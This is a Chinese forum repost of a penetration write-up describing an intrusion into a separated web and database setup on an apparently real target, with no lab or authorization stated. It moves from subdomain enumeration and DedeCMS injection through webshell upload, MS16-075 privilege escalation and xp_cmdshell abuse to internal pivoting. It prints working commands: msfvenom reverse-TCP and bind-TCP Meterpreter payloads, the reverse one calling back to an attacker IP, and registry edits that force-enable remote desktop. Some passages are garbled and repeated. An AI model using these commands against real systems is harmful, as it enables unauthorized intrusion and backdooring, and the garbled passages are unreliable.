搜索

[18544] 2021-04-11_实战记一次站库分离的内网渗透

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-04-11_实战记一次站库分离的内网渗透 实 战   |   记 一 次 站 库 分 离 的 内 网 渗 透 原 创   R a i l g u n   H A C K 学 习 呀   2 0 2 1 - 0 4 - 1 1 D M Z   W e b I n f o r m a t i o n   G a t h e r i n g W E B 服 务 器 ， 但 是 首 页 只 有 一 个 I I S   7 的 欢 迎 界 面 ， 所 以 先 看 一 下 端 口 顺 便 扫 个 目 录 。 目 录 没 什 么 东 西 ， 不 过 可 以 看 到 a s p x 的 环 境 ， 看 一 下 端 口 : 开 了 2 1 ， 还 有 一 个 9 9 9 的 w e b 端 口 。
尝 试 对 p h p m y a d m i n   m y s q l 的 r o o t 、 a d m i n 、 t e s t 账 号 做 了 e n u m e r a t i o n ， 没 什 么 效 果 ， 后 面 进 行 端 口 扫 描 的 时 候 发 现 漏 了 一 个 端 口 : 这 个 前 台 面 板 看 了 下 可 以 登 陆 f t p 、 m s s q l 、 m y s q l ， 简 单 的 先 尝 试 了 几 个 弱 口 令 无 果 。 并 且 穷 举 了 子 域 名 :
w w w . t a r g e t . c o m   科 讯 n e w . t a r g e t . c o m   织 梦
w w 2 . t a r g e t . c o m   G r c m s D e d e c m s   G e t s h e l l d e d e c m s 默 认 后 台 ， 版 本 D e d e C M S V 5 7 _ U T F 8 _ S P 1 ( 2 0 1 5 0 6 1 8     k a l i 中 文 乱 码 ， 凑 合 看 … ) ， 这 个 版 本 注 入 应 该 ， 先 注 册 用 户 然 后 可 以 跑 出 来 a d m i n 的 密 码 :
g e t s h e l l 比 较 简 单 ， 文 件 管 理 器 - > 新 建 文 件 即 可 。 D M Z   P r i v i l e g e   E s c a l a t i o o n 拿 到 了 w e b s h e l l 考 虑 弹 一 个 m s f   m e t e r p r e t e r   s h e l l 回 来 。 怀 疑 是 不 是 有 d i s a b l e _ f u n c t i o n s ， 看 一 下 : m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   l h o s t = 1 9 2 . 1 6 8 . 8 . 1 8 7   l p o r t = 2 6 7 8   - f   e x e   >   . / b d . e x e
A n t S w o r d 有 个 插 件 非 常 方 便 可 以 绕 … 我 不 太 想 手 工 了 ， 麻 烦 ， 上 个 a s p x 马 看 一 下 : 先 用 D 神 工 具 测 一 下 目 录 : 最 后 写 到 了 c : w i n d o w s d e b u g W I A 中 并 执 行 。 直 接 g e t s y s t e m 是 不 行 的 ， 用 s u g g e s t e r 来 试 一 下 :
这 里 选 择 用 m s 1 6 _ 0 7 5 来 提 权 : S Q L   S e r v e r P r i v i l e g e   E s c a l a t i o n 看 到 还 有 一 个 网 卡 ， 是 有 内 网 的 ， 加 个 用 户 开 3 3 8 9 上 去 看 一 下 :
看 到 确 实 有 三 个 网 站 在 运 行 ， 有 一 个 是 . n e t 的 ， 但 是 本 机 没 有 s q l   s e r v e r ， 考 虑 是 不 是 站 库 分 离 的 情 况 。 因 此 确 定 w w 2 . t a r g e t . c o m 是 站 库 分 离 的 情 况 ， 并 且 直 接 是 s a 权 限 。 直 接 a s p x 马 连 一 家 伙 : 添 加 一 下 x p _ c m d s h e l l 执 行 命 令 :
1 3 6 应 该 是 s q l   s e v e r   i p ， 先 x p _ c m d s h e l l 强 开 一 波 3 3 8 9 : S o c k s   P r o x i f i e r 这 里 选 择 用 e w 来 做 代 理 。 看 到 确 实 开 了 ， 但 是 p r o x c h a i n s 连 接 不 上 ， 估 计 是 防 火 墙 或 者 其 他 原 因 。 这 里 其 实 还 可 以 选 择 用 m s f 进 行 后 渗 透 ， 我 是 关 掉 了 D M Z 的 防 火 墙 。 这 里 注 意 ， 如 果 这 里 注 意 ， 如 果 e w 比 较 麻 烦 ， 不 太 好 上 传 ， 那 我 们 可 以 在 比 较 麻 烦 ， 不 太 好 上 传 ， 那 我 们 可 以 在 m s f 添 加 了 路 由 之 后 ， 使 用 添 加 了 路 由 之 后 ， 使 用 a u x i l i a r y / s e r v e r / s o c k s 4 a 这 个 模 块 ， 用 这 个 模 块 ， 用 m s f 开 个 开 个 s o c k s 代 理 ， 这 样 本 代 理 ， 这 样 本 机 可 以 通 过 机 可 以 通 过 m s f 的 路 由 来 访 问 内 网 ， 的 路 由 来 访 问 内 网 ， p r o x y c h a i n s 配 置 就 写 本 机 配 置 就 写 本 机 i p 即 可 。 即 可 。 但 还 是 要 用 m s f 添 加 一 下 路 由 : r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l   S e r v e r "   / v   f D e n y T S C o n n e c t i o n s   / t   R E G _ D W O R D   / d   0   / f r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l   S e r v e r W d s r d p w d T d s t c p "   / v   P o r t N u m b e r   / t   R E G _ D W O R D   / d   3 3 8 9   / f r e g   a d d   " H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l T e r m i n a l   S e r v e r W i n S t a t i o n s R D P - T c p "   / v   P o r t N u m b e r   / t   R E G _ D W O R D   / d   3 3 8 9   / f n e t   s t a r t   t e r m s e r v i c e
接 着 我 用 m s f v e n o m 生 成 b i n d _ t c p 的 后 门 ， 本 机 W i n d o w s 通 过 p r o x i f i e r ( 或 S o c k s C a p 6 4 ) 连 到 D M Z 的 8 8 8 8 端 口 进 而 连 接 S Q L   S e r v e r 的 3 3 8 9 并 开 启 文 件 共 享 ， 然 后 执 行 后 门 : 而 此 时 因 为 m s f 已 经 添 加 路 由 ， 可 以 通 过 路 由 去 主 动 连 S Q L   S e r v e r 服 务 器 获 取 s h e l l : 成 功 获 取 s h e l l 。 再 添 加 一 层 路 由 ， 看 一 下 1 0 . 1 0 . 1 . 0 / 2 4 这 个 段 有 什 么 。 I n t r a n e t   W e b I n f o r m a t i o n   G a t h e r i n g m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / b i n d _ t c p   l p o r t = 2 9 9 9   - f   e x e   >   . / b d _ 1 . e x e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理